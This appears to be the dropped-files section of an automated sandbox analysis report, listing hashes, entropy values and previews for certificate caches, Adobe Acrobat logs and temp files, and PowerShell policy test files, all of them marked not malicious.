C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklzzsvfllXlE/HT8kcJXNNX8RolJuRdxLlGB9lQRYwpDdt:kKST8tJdNMa8RdWBwRd
MD5:	955ABD2A4C32C59B3A4D549B96169302
SHA1:	31AAA035DCA5E5E89F527267F97E2045CD24FE7E
SHA-256:	D591D1EAA2BC248F90F70F1294D2DEBFE5CC202C04B6126886D77E85E9E4D8E4
SHA-512:	FD2F5A44A00F13683112D44CA1CE6EE72A5FEC8990DD449F57BC9BF33F8085840C96A0801ADEC2B1BD917DD6DAA6CB1C33916270C0351145D87FF9469B9160AE
Malicious:	false
Preview:	p...... ........@.T0&Q..(....................................................... ..........W....tw..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kK/bNF9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:X2DnLNkPlE99SNxAhUe/3
MD5:	E5D4B3E611110EC26C06C93DDE661A52
SHA1:	6968AC743237FF5C5BAE8B65DC5F4EB3BE7BD818
SHA-256:	2A09734142F6645F48D57F28882534BF8BFD4E5A6F91DD460A17889C85CDEEE6
SHA-512:	F7908440F775AAB45E8B6BF4595E150C7E28DA1EDFA08E1E7C436824D5EBF7EF67CC5C5305E0DE05942945CB7C326FC1CB3BE37D008C933D391F545E9B9B3D38
Malicious:	false
Preview:	p...... ..........cC&Q..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.0725469720954965
Encrypted:	false
SSDEEP:	48:YQ/pOrY21a4hbtC3dci5WXjJ0vS/PbMa7:GB0tWTJDnbMo
MD5:	3198F565565D7C0EF8963D29147966BE
SHA1:	2F4993CE30BAF3ED4EAA2961B1C08BA7A206105D
SHA-256:	ECA323185688FA7532FF43062C6DC3048CF90E817DC25E9842656D846DAFF507
SHA-512:	BEE4813D30DE00AEA33ECC93F4675231D1B64F2D5B662A274E98C5F046B54CCC0F14844F1D8D8C770C2DF1D298E6CF0193DDE742837A1CCA3F45EA87667940E7
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1734510231000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"380dd703fc581680761b4186c45e2d38","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696488387000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"35166e54b6efd9393ba2006ee9cc09b6","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696488385000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f776fac6300c02bf0731dc513183b5e8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696488373000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"78cf3d8961acebfb4fcfb54de4ad804c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696486847000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4bd607a1e654cbca833e725de7ae4339","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696486847000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1455151241247101
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursmxRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcD:TFl2GL7msKXc+XcGNFlRYIX2v3kj
MD5:	1046EC0025D26D5EBCF2A042D37C036A
SHA1:	BF9C8CC68A83856A7CEEE976B642C2D6D3E04864
SHA-256:	DE10EFE8FE8D02C7207BBE33096FF3392DAE41F0E096ED6F0F4FC53514F021D6
SHA-512:	79D33EA9428A9A75FC96D3C63DF36BD72B17EA4DF040CF5A6CB346B244A1F8A57248F66841B3461424869B445205DC75205E1D98A1ECC0F5CE8228B8A48BA05B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5528284014952345
Encrypted:	false
SSDEEP:	24:7+tuHxUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxeqLxx/XYP:7MtXc+XcGNFlRYIX2v/qVl2GL7ms6
MD5:	594B10FDAAA590BD71197D2298F9B557
SHA1:	BBB577E10AB531F7FFB1378CA2033310A7CD0D48
SHA-256:	8EDAB517EC5F3D506F2077AB904D9919C875827721A0CED35A68047C8D413CA8
SHA-512:	595D8974CCC757CC491FD36002BC26E5DF2681E7137427AA53F82CA1EFF9C0BC8B9560A6F249A4E9EC1621A0A9493BB379E19D1A33BC329C03A72EBF509D7855
Malicious:	false
Preview:	.... .c..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgzEnpI2Nyv3CdkoAihuFJAH90iqYyu:6a6TZ44ADEgnps3OiihmPiqK
MD5:	940841B9C00DE2C84B6780568EB59217
SHA1:	07AE5BFFE6BBE2C1DDD614EA68989CA967CD410A
SHA-256:	048319A128B18D93A9137A5F691B7FA6265F35CA2A5C9BF97C741E1B980C4F3D
SHA-512:	D42E56EFDBE6E51071542370082EF2C5683AEEAB33B3A1B9C77C17B55EE8CE817A4FA90029C57FC0AD7605EA41B62927B9BF4F323F05E1D46023ED93AB007672
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI82541.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5274671434738973
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8sKDgK:Qw946cPbiOxDlbYnuRKSEK
MD5:	B79BE00EA85E86BC62DE710C3AB89706
SHA1:	5F2864B2514CE21E72F782F0F381F1B76C4A5943
SHA-256:	26C9EB17B53DD276C6338240C9FF836CEE1FC6064C48634F9DCCEB1F32632E28
SHA-512:	C7854A991ABFD4A9DFB0B5278BC6AF552BE63F8E9B05636E50BC24AFC7035AE3F0BC21C4D6A43BD4D54A953893982D9ACFC4E32E7F857947D0C2E8D054ECEDE2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.8./.1.2./.2.0.2.4. . .0.3.:.2.3.:.5.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mcazrssl.xl0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oao0ipo5.ikw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-18 03-23-51-006.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.315399814192185
Encrypted:	false
SSDEEP:	384:plr/gCF7qNQ2Sde9UT2TnJct5WH/uKm412fFbPFw1fiz9ooNnG85XyX+Dnxzwnf3:JFs
MD5:	3B715D1A091DB441D40FCA0F9EC50A49
SHA1:	FDFB4B9C48A60934A3A8C66804AA93A5BC011139
SHA-256:	7B0BEDEF5E2FBBA6331720B367CDF8932B65414F7C9E26D6EC88550DB9B1DF99
SHA-512:	50304B1A4F723E04F0236242BEFC7BCC6C8641C6AB7754E1240A9770D157497A4E75360BE3EA652815A9A632A78FBD730403C666E1B708028F6F5D4E2FCBE8BF
Malicious:	false
Preview:	SessionID=71004197-bf70-4738-a936-0eb2da2eac11.1734510231032 Timestamp=2024-12-18T03:23:51:032-0500 ThreadID=6280 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=71004197-bf70-4738-a936-0eb2da2eac11.1734510231032 Timestamp=2024-12-18T03:23:51:033-0500 ThreadID=6280 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=71004197-bf70-4738-a936-0eb2da2eac11.1734510231032 Timestamp=2024-12-18T03:23:51:033-0500 ThreadID=6280 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=71004197-bf70-4738-a936-0eb2da2eac11.1734510231032 Timestamp=2024-12-18T03:23:51:034-0500 ThreadID=6280 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=71004197-bf70-4738-a936-0eb2da2eac11.1734510231032 Timestamp=2024-12-18T03:23:51:034-0500 ThreadID=6280 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.396973823410704
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbRcbGIV3cbF:V3fOCIdJDeIVQ
MD5:	76D0AF2774C185EF2D91B5D3C5954A2D
SHA1:	43CF0C2C5FC0E748943E81F637E9D0A58C3210C0
SHA-256:	41752711AE858B3969833FEFBD991104E0BCE717EFC475277E76F2CC3A470308
SHA-512:	1528C2F8F57C3AB6DDF4B69DC44179D22CA6D343B6377A189E622AD3D630F3FB74B7C387E572551C511D185A311C390A1194236008A578A660C9853050BE16E7
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\56763c6a-9ee7-4624-b5dd-4223abe119a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\77221dfa-9ab8-40e6-97f2-e85fe433e921.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ae6ef6de-eb48-43d6-9f14-a02d830dd446.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWLEwYIGNPe7oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLEwZGtYGZn3mlind9i4ufFXpAXkru
MD5:	B9E897DFE9D7DB0E0FA82CE6FBBE6B7F
SHA1:	A08441F08CA8C30D3D462A56923CBA6CCC32935C
SHA-256:	9EEED3E9FF7A0E6C060F613625E8B57A762FA6CB574E426103739532E423A9D2
SHA-512:	F9519E4E9B3D1954DC7B57C82F2E296D571F8E6EC2B008F6539215CB9B6012E709548B352D4C64B9AEB29BD9993FACE3D9E1ED11AFC90A8C216DFA6C4628CFD1
Malicious:	false
